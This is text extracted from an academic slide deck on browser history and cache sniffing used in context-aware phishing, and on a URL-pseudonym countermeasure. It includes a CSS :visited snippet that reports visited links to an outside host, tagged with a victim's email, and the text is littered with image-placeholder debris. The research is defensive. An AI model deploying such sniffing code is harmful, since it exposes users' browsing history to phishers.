Invasive Browser Sniffing and Countermeasures

Markus Jakobsson & Sid Stamm

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.

Qu

ickTim

e™

an

d a

TIF

F (

Uncom

pre

sse

d)

de

com

pre

ssor

are

nee

de

d t

o s

ee t

his

pic

ture

.

Qu

ickTim

e™

and

aTIF

F (

Uncom

pre

ssed

) d

ecom

pre

sso

rare

need

ed

to

see

th

is p

ictu

re.

QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.

Qu

ickTim

e™

an

d a

TIF

F (

Un

com

pre

sse

d)

deco

mpre

ssor

are

nee

de

d t

o s

ee t

his

pic

ture

.

QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.

Context Aware Attacks

• Data about targets obtained

• Used to customize emails

• Yields higher vulnerability rate

Context: Social Networks

• Mine site for relationships(Alice knows Bob)

• Spoof email from victim’s friend

• People trust their friends (and that which spoofs them)

Context: Browser-Recon

• Phisher mines browsers– Browsing history– Cached data

• Attacker can discover affiliations

• Easy to pair browser history with email address

Context: Cache Recon

GET /index.html

GET /pics/pic1.jpg

GET /pics/pic2.jpg

…

Pic1.jpg is Not in Cache

(pic1.jpg is not cached)

Context: Cache Recon

GET /index.html

…

Pic1.jpg IS in Cache

(pic1.jpg is cached)

Context: Cache Recon

GET pic1.jpg

GET pic2.jpg

GET logout.jpg

(Felten & Schneider, “Timing Attacks on Web Privacy”7th ACM Conference in Computer & Communication Security, 2000.)

Context: History Recon

Link 1

Link 2

Link 3

<style>a { color: blue; }#id1:visited { color: red; }#id2:visited { color: red; }#id3:visited { color: red; }</style>

<a id=id1 href=“x.com”>Link 1</a><a id=id2 href=“y.com”>Link 2</a><a id=id3 href=“z.com”>Link 3</a>

What You See: The Code:

Context: History Recon

Link 1

Link 3

<style>a { color: blue; }#id1:visited { background: url(‘e.com/?id=1’); }#id2:visited { background: url(‘e.com/?id=2’); }…</style><a id=id1 href=“x.com”>Link 1</a><a id=id2 href=“y.com”>Link 2</a><a id=id3 href=“z.com”>Link 3</a>

What You See: The Code:

Link 2

Context: History Recon

<style>a { color: blue; }#id1:visited { background: url(‘e.com/?id=1’); }#id2:visited { background: url(‘e.com/?id=2’); }…</style><a id=id1 href=“x.com”></a><a id=id2 href=“y.com”></a><a id=id3 href=“z.com”></a>

What You See: The Code:

History Recon + Email

GET /?IAM=alice@x.com

(lots of links)

GET /hit?id=1&IAM=alice@x.com

GET /hit?id=42&IAM=alice@x.com

Phisher can nowassociate Alice withlink 1 and 42

Auto-Fill Identity Extraction

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.

“Chameleon” Attack

Solutions to Browser-recon• Client-Side Solutions:

– Jackson, Bortz, Boneh Mitchell, “Protecting browser state from web privacy attacks”, To appear in WWW06, 2006.

– CSS limiting– “User-Paranoia”

(regularly clear history, cache, keep no bookmarks)

• Server-Side Solution:– Make URLs impossible to guess

Solution Goals

Requirements

1. Hard to guess any pages or resources served by SP

2. Search engines can still index and search SP

Formal Goal Specification

Formal Goal Specification

Solution Techniques

• Two techniques:1. Customize URLs with pseudonyms

http://chase.com/page.html?39fc938f2. Pollute Client State

(fill cache/history with related sites not visited by client)

• Hiding vs. obfuscating• Internal (protected) URLs hidden• Entry point (public) URLs obfuscated

Solution to Browser-recon

SC

GET /

Solution to Browser-recon

SBC ST

GET /?13fc021b GET /

T

Domain of S

Pseudonyms

• Establishing a pseudonym

• Using a pseudonym

• Pseudonym validity check– Via Cookies– Via HTTP-REFERER– Via Message Authentication Codes

Pseudonyms

• Robot Policies– Dealing with search engines– Robots.txt “standard” (no problem if cheating)

• Pollution Policy– Pollute entrance URLs– How to choose pollutants?

• What about links to offsite data?• Bookmarks?

Example

Bank.comC 10.0.0.1

GET /page.html?83fa029 GET /page.html

Example

<a href=‘http://www.g.com’>Go to G</a><a href=‘http://10.0.0.1/login.jsp’>Log in</a><img src=‘/img/hi.gif’>

Bank.comC 10.0.0.1

hm

Example

<a href=‘http://www.g.com’>Go to G</a><a href=‘http://Bank.com/login.jsp’>Log in</a><img src=‘/img/hi.gif’>

Bank.comC 10.0.0.1

hm

Example

<a href=‘http://Bank.com/redir?www.g.com’>Go to G</a><a href=‘http://Bank.com/login.jsp’>Log in</a><img src=‘/img/hi.gif’>

Bank.comC 10.0.0.1

hm

Example

<a href=‘http://Bank.com/redir?www.g.com?83fa029’>Go to G</a><a href=‘http://Bank.com/login.jsp?83fa029’>Log in</a><img src=‘/img/hi.gif?83fa029’>

Bank.comC 10.0.0.1

hm

Example

<a href=‘http://Bank.com/redir?www.g.com?83fa029’>Go to G</a><a href=‘http://Bank.com/login.jsp?83fa029’>Log in</a><img src=‘/img/hi.gif?83fa029’>

Bank.comC 10.0.0.1T

Client’s Perception

QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.

Policies

• Offsite Redirection Policy

• Data Replacement Policy

• Client vs. Robot Distinction

Special Cases

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.Cache pollution reciprocity

Shared/Transfer Pseudonyms

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.

Prototype Details

• Java App simulating an HTTP server

• Pseudonyms: 64-bit random number– java.security.SecureRandom

• Experimental Client:– Shell script + CURL

SBST

Experimental Results

Experimental Results

Experimental Results

Experimental Results

General Considerations

• Forwarding user-agent

• Translate Cookies

• Optimizations

Invasive Browser Sniffing and Countermeasures

Markus Jakobsson & Sid Stamm

QuickTime™ and aTIFF (Uncompressed) decompressor

are needed to see this picture.

QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.

?

QuickTime™ and aTIFF (Uncompressed) decompressorare needed to see this picture.